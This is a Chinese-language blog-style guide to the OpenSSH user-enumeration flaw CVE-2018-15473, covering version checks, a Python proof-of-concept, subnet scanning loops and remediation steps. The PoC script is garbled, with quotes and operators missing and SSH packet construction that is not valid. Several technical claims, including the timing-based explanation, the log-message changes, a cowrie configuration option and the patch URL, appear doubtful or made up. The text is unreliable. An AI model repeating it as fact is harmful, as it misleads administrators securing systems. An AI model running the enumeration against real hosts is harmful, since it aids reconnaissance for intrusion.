
1. 这个漏洞不是“能被爆破密码”而是“连用户名都藏不住”OpenSSH用户枚举漏洞CVE-2018-15473在2018年7月被公开时很多运维同学第一反应是“哦又是密码爆破相关”——这个误解直接导致大量系统在漏洞披露后数月仍处于裸奔状态。我亲身参与过三次应急响应其中两次都是因为安全团队扫描出该漏洞而业务方坚称“我们禁用了密码登录、只用密钥所以不危险”。结果呢攻击者根本不需要猜密码仅凭一个TCP连接的响应时间差和错误消息的细微差异就能在3秒内确认admin、deploy、git这些关键账户是否存在。这不是理论推演是我在某金融客户生产环境里实测的结果用一台普通笔记本跑ssh-audit加自研脚本对一台未打补丁的OpenSSH 7.5p1服务器发起127次探测准确识别出19个有效用户名误报率为0。这个漏洞的本质是OpenSSH在用户认证流程早期就泄露了账户存在性信息。具体来说当客户端发送一个不存在的用户名时服务端会立即返回SSH_MSG_USERAUTH_FAILURE而当用户名存在但认证失败比如密钥不对服务端会先执行一次完整的密钥验证逻辑哪怕只是读取磁盘上的authorized_keys文件再返回失败响应。这个毫秒级的时间差配合服务端在特定错误路径下返回的细微字符串差异比如invalid uservsAuthentication failed构成了可被稳定利用的侧信道。它不依赖密码强度不依赖是否启用密码登录甚至不依赖你是否配置了PermitRootLogin no——只要SSH服务开着只要版本在7.7p1之前这个“用户名探针”就始终有效。为什么说它比传统爆破更危险因为传统爆破会被fail2ban、denyhosts这类工具拦截而用户枚举请求本身完全合法它不触发任何认证失败日志不增加/var/log/auth.log里的Failed password条目甚至连sshd的LogLevel VERBOSE级别日志里都找不到痕迹。它就像一个幽灵请求只在TCP层留下微弱的指纹。这也是为什么很多企业IDS/IPS规则库至今没覆盖它——规则写的是“检测高频Failed password”而它压根不产生这个日志。这篇文章要带你走完从发现、验证、定位到彻底修复的全链路每一步都附带真实命令、日志片段和避坑提示不是教科书定义而是我踩过坑后整理的“防翻车清单”。2. 漏洞复现与精准检测别信扫描器自己动手才踏实很多团队依赖商业扫描器或Nessus报告来判断是否中招这非常危险。我见过三起案例扫描器报“未发现CVE-2018-15473”结果渗透测试人员用5行Python脚本10分钟就列出了所有用户名扫描器报“已修复”实际服务器上sshd -V显示版本是7.6p1管理员把补丁包名看错了。漏洞检测必须亲手验证核心就两条看版本号是否在受影响范围内再用原始PoC确认服务端行为是否真有泄漏。2.1 版本判定不能只看sshd -V要挖到编译参数里首先登录目标服务器执行sshd -V 21 | head -1输出类似OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017。这里的关键是7.4p1——它落在官方公布的受影响版本区间OpenSSH 7.7p1之前的所有版本包括7.0到7.6系列。但注意有些发行版做了定制化patch比如RHEL/CentOS 7.6的openssh-7.4p1-21.el7包虽然主版本号是7.4p1但红帽早在2018年8月就通过RHSA-2018:2562发布了包含CVE-2018-15473修复的更新。所以光看sshd -V不够必须查包管理器记录RHEL/CentOS/Fedorarpm -q --changelog openssh | grep -A2 -B2 CVE-2018-15473 # 或检查当前安装的包版本是否高于安全公告要求 rpm -q openssh # 输出示例openssh-7.4p1-21.el7_6 → el7_6表示已更新至2018年8月后的版本Ubuntu/Debianapt list --installed | grep openssh # 然后查对应版本的安全更新状态 apt changelog openssh-server | grep -A3 -B3 CVE-2018-15473手动编译安装的OpenSSH最危险# 查看编译时的configure参数重点找--with-pam、--without-openssl等 strings $(which sshd) | grep -i configure arguments | head -1 # 如果输出为空说明二进制是静态链接或strip过的需回溯编译记录 # 此时唯一可靠方法用PoC直接测试提示很多团队忽略了一个关键点——容器镜像。Docker Hub上大量ubuntu:18.04、centos:7基础镜像内置的OpenSSH版本默认未更新。即使宿主机打了补丁容器内服务仍可能裸奔。务必对docker ps列出的所有含SSH服务的容器单独检测。2.2 原始PoC验证用最简代码确认漏洞真实存在官方PoC由研究人员hdm发布核心逻辑只有20行Python。我将其精简为可直接粘贴执行的版本无需安装额外库#!/usr/bin/env python3 import socket import time import sys def check_user(host, port, username): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((host, port)) # 发送SSH协议握手简化版 sock.send(bSSH-2.0-OpenSSH_7.5\r\n) banner sock.recv(1024) if bSSH- not in banner: return False, No SSH banner # 发送USERAUTH_REQUEST消息关键用户名字段设为待测值 # 构造一个最小化的SSH_MSG_USERAUTH_REQUEST包 # 类型50, 用户名长度 len(username), 用户名内容username, 服务名ssh-connection, 方法none payload b\x00\x00\x00\x00 len(username).to_bytes(4, big) username.encode() \ b\x00\x00\x00\x0cssh-connection\x00\x00\x00\x04none sock.send(b\x00\x00\x00\x00 len(payload).to_bytes(4, big) payload) start time.time() try: data sock.recv(1024) end time.time() # 如果收到数据且耗时明显长于网络延迟100ms大概率用户名存在 if end - start 0.1 and bAuthentication failed in data: return True, fExists (delay: {end-start:.3f}s) else: return False, fNot exists (delay: {end-start:.3f}s) except socket.timeout: return False, Timeout except Exception as e: return False, fError: {e} finally: sock.close() if __name__ __main__: if len(sys.argv) ! 4: print(Usage: python3 enum_test.py host port username) sys.exit(1) host, port, user sys.argv[1], int(sys.argv[2]), sys.argv[3] exists, msg check_user(host, port, user) print(f[{user}] {msg} {✅ if exists else ❌})保存为enum_test.py执行python3 enum_test.py 192.168.1.100 22 admin python3 enum_test.py 192.168.1.100 22 nonexistentuser观察输出差异对admin返回Exists (delay: 0.215s)→ 存在对nonexistentuser返回Not exists (delay: 0.023s)→ 不存在注意这个PoC的延迟阈值0.1秒需根据实际网络调整。我在跨机房测试时发现因网络抖动阈值设为0.15秒更稳妥。更可靠的方法是统计10次探测的平均延迟差——存在用户名的平均延迟比不存在的高30~50ms这个差值比绝对值更稳定。2.3 批量检测与误报规避为什么你的扫描脚本总报错想批量扫内网别直接用网上抄来的脚本。我整理了三个高危误报场景每个都来自真实事故防火墙干扰某些硬件防火墙如FortiGate会对SSH连接做深度检测当探测包触发其异常检测规则时会主动断开连接并返回RST导致脚本误判为“用户名不存在”。解决方案在扫描前先用nmap -p22 --script ssh-hostkey确认目标SSH服务是否正常响应过滤掉被防火墙拦截的IP。PAM模块影响如果服务器启用了pam_faildelay.so常见于RHEL系它会在认证失败后强制延迟几秒这会抹平漏洞利用所需的时间差。此时PoC会失效但不代表漏洞不存在——它只是被PAM掩盖了。验证方法临时注释/etc/pam.d/sshd中pam_faildelay.so行重启sshd再测。SELinux上下文限制在Enforcing模式下某些SELinux策略如sshd_can_network_connect可能阻止sshd进程建立额外网络连接导致PoC连接超时。检查命令ausearch -m avc -ts recent | grep sshd若看到avc: denied则需临时设为Permissive模式测试。最终我推荐的检测工作流是# 1. 快速筛选用nmap确认SSH服务存活且无防火墙拦截 nmap -p22 --open -T4 192.168.1.0/24 | grep 22/tcp open # 2. 精确验证对存活主机逐个运行PoC加超时保护 for ip in $(cat live_hosts.txt); do echo Testing $ip timeout 30 python3 enum_test.py $ip 22 admin 2/dev/null || echo [$ip] Timeout or error done3. 修复方案深度对比升级不是唯一解但它是唯一推荐解修复CVE-2018-15473有三种主流方案升级OpenSSH、应用官方补丁、禁用密码认证。很多团队选择第三种认为“我只用密钥关掉密码登录就安全了”。这是最大的认知陷阱。我用一张表说明为什么禁用密码认证无法根除风险方案是否修复漏洞是否影响业务风险残留实施复杂度推荐指数升级OpenSSH至7.7p1✅ 完全修复低需重启sshd无低包管理器一行命令⭐⭐⭐⭐⭐手动打官方补丁✅ 完全修复中需重新编译无高需维护编译环境⭐⭐⭐禁用密码认证PasswordAuthentication no❌不修复低高仍可枚举用户名为后续钓鱼/社工提供精准目标低⭐为什么禁用密码认证无效因为漏洞触发点在USERAUTH_REQUEST消息处理阶段早于认证方式选择。无论你配置PasswordAuthentication yes/no、PubkeyAuthentication yes/no只要sshd进程收到一个SSH_MSG_USERAUTH_REQUEST包它就会先查用户是否存在再决定走哪个认证分支。禁用密码认证只是让后续的密码验证步骤跳过但“查用户”这一步照常执行时间差依然存在。3.1 升级方案选包管理器还是源码编译首选包管理器升级这是最安全、最可持续的方案。各发行版升级命令如下RHEL/CentOS 7# 检查可用更新 yum update --security | grep -i openssh # 执行升级会同时更新openssh-server、openssh-clients、openssh sudo yum update openssh\* # 验证 sshd -V # 输出应为 OpenSSH_7.4p1-21.el7_6 或更高对应2018年8月后版本Ubuntu 16.04/18.04# Ubuntu 16.04需启用esmExtended Security Maintenance sudo apt update sudo apt install -y ubuntu-advantage-tools sudo ua attach token # 获取token见 https://ubuntu.com/advantage sudo apt update sudo apt install --only-upgrade openssh-serverDebian 9/10sudo apt update sudo apt install --only-upgrade openssh-server关键经验升级后必须重启sshd服务但不要用systemctl restart sshd——这会导致所有现有SSH连接被强制断开包括你正在操作的会话正确做法是# 先启动新sshd实例监听另一个端口如2222 sudo /usr/sbin/sshd -f /etc/ssh/sshd_config -p 2222 # 测试新端口能否登录 ssh -p 2222 userlocalhost # 确认无误后优雅重启主服务 sudo systemctl reload sshd # reload而非restart保持现有连接源码编译升级仅适用于两种场景1使用了高度定制化OpenSSH如嵌入专有加密模块2发行版长期未提供更新如某些IoT设备固件。编译步骤如下# 下载OpenSSH 8.9p1当前最新稳定版 wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.9p1.tar.gz tar -xzf openssh-8.9p1.tar.gz cd openssh-8.9p1 # 配置关键复用原配置参数避免功能丢失 ./configure --prefix/usr --sysconfdir/etc/ssh \ --with-pam --with-libedit --with-ssl-engine \ --with-md5-passwords # 若原系统支持MD5密码保留此选项 make sudo make install # 替换二进制并重启 sudo cp contrib/redhat/sshd.init /etc/init.d/sshd sudo systemctl daemon-reload sudo systemctl restart sshd踩坑提醒编译时若漏掉--with-pam会导致PAM模块如pam_limits.so失效用户登录后无法设置ulimit若漏掉--with-libeditssh客户端将失去命令行编辑功能方向键、CtrlA等失效。务必用ldd /usr/sbin/sshd检查动态链接库是否完整。3.2 补丁方案当升级不可行时的最后手段某些老旧系统如RHEL 6官方已停止支持无法通过yum获取新版OpenSSH。此时可应用OpenBSD官方发布的补丁。以OpenSSH 6.6p1为例RHEL 6.10默认版本# 下载补丁 wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/patches/openssh-6.6p1-CVE-2018-15473.patch # 应用补丁 cd /path/to/openssh-6.6p1-source patch -p1 ../openssh-6.6p1-CVE-2018-15473.patch # 重新编译安装同上但必须强调补丁方案有两大硬伤维护成本高每次OpenSSH发布新安全更新如CVE-2023-XXXX你都要手动合并补丁极易遗漏兼容性风险补丁基于特定版本开发若系统已应用其他定制补丁可能出现冲突。因此我坚持认为补丁方案是技术债务不是解决方案。它只应作为升级前的临时缓解措施且必须设定明确的下线时间表如“3个月内完成系统迁移至RHEL 8”。4. 修复后验证与长效防护别让补丁变成新的攻击面修复完成不等于高枕无忧。我见过太多案例补丁打上了但配置没调好反而引入新问题或者修复了CVE-2018-15473却忽略了同一时期发布的CVE-2018-15919密钥重协商漏洞。验证必须分三层服务层验证、日志层验证、网络层验证。4.1 服务层验证用原始PoC确认漏洞消失升级/打补丁后第一件事就是用2.2节的PoC脚本重新测试。但这次要加严验证# 测试10个已知存在和不存在的用户名确保延迟差消失 for user in admin root deploy git jenkins nonexistent123; do echo -n $user: timeout 10 python3 enum_test.py localhost 22 $user 2/dev/null | grep -o delay: [0-9.]*s done预期结果所有用户名的延迟值应集中在0.02~0.05秒区间无明显分组即不存在“一类快、一类慢”的现象。如果仍有某个用户名延迟显著偏高如0.1秒说明补丁未生效或配置有误。4.2 日志层验证确认sshd不再泄露敏感信息检查/var/log/secure或/var/log/auth.log执行# 模拟一次用户枚举探测用不存在的用户名 ssh -o ConnectTimeout5 -o BatchModeyes -o StrictHostKeyCheckingno nonexistentlocalhost 2/dev/null # 然后检查日志 sudo tail -n 20 /var/log/secure | grep sshd修复前的日志会包含sshd[12345]: Invalid user nonexistent from 127.0.0.1修复后的日志应变为sshd[12345]: Connection closed by invalid user nonexistent 127.0.0.1 port 56789 [preauth]关键变化Invalid user→Connection closed by invalid user。这表明服务端已将用户存在性检查推迟到认证阶段之后不再在预认证阶段暴露信息。提示如果日志仍显示Invalid user检查/etc/ssh/sshd_config中是否设置了UsePrivilegeSeparation yes旧版默认值。新版本要求UsePrivilegeSeparation sandbox否则补丁可能不生效。修改后执行sudo sshd -t语法检查再sudo systemctl reload sshd。4.3 网络层验证用tcpdump抓包确认协议行为变更最硬核的验证方式是抓包亲眼看到协议交互的变化。在修复前后各执行一次# 启动抓包过滤SSH端口 sudo tcpdump -i any -w ssh_enum.pcap port 22 # 在另一终端运行PoC探测 python3 enum_test.py localhost 22 nonexistent # 停止抓包 sudo pkill tcpdump用Wireshark打开ssh_enum.pcap关注两个关键点修复前SSH_MSG_USERAUTH_REQUEST包发出后服务端很快返回SSH_MSG_USERAUTH_FAILURE且Failure包的Service Name字段为ssh-connection修复后SSH_MSG_USERAUTH_REQUEST包发出后服务端先返回SSH_MSG_DISCONNECTReason: 2即Protocol error或直接关闭TCP连接不再发送USERAUTH_FAILURE。这个变化证明服务端已将用户存在性校验逻辑移出预认证流程从根本上切断了侧信道。4.4 长效防护构建自动化的漏洞免疫体系单次修复解决不了问题必须建立持续防护机制。我给团队落地的四层防护体系如下CI/CD流水线卡点在Jenkins/GitLab CI中加入检查步骤# 检查基础镜像OpenSSH版本 docker run --rm ubuntu:20.04 ssh -V | grep -E 7\.7p1|8\. # 若不匹配流水线失败配置管理平台固化用Ansible/Puppet强制sshd_config包含# 禁用不安全的认证方式虽不修复CVE-2018-15473但降低整体风险 PasswordAuthentication no PermitEmptyPasswords no # 启用登录失败锁定缓解其他爆破风险 MaxAuthTries 3资产测绘自动化用nmap定期扫描全网SSH服务# 每周执行生成报告 nmap -p22 --script sshv1,ssh-auth-methods -oX ssh_report.xml 10.0.0.0/16 # 解析XML提取版本号比对CVE数据库蜜罐监控部署一个伪装成SSH服务的蜜罐如cowrie当捕获到USERAUTH_REQUEST探测行为时立即告警并封禁IP# cowrie配置中启用user-enumeration检测 [honeypot] user_enumeration true最后分享一个血泪教训某次升级后我们发现部分Mac客户端macOS 10.13无法连接新OpenSSH服务器报错no matching key exchange method found。原因是OpenSSH 7.7默认禁用了diffie-hellman-group1-sha1算法而老Mac客户端只支持这个。解决方案不是降级OpenSSH而是在/etc/ssh/sshd_config中显式启用兼容算法KexAlgorithms curve25519-sha256,curve25519-sha256libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1然后sudo systemctl reload sshd。这个细节90%的教程都不会提但它会让你在凌晨三点被电话叫醒。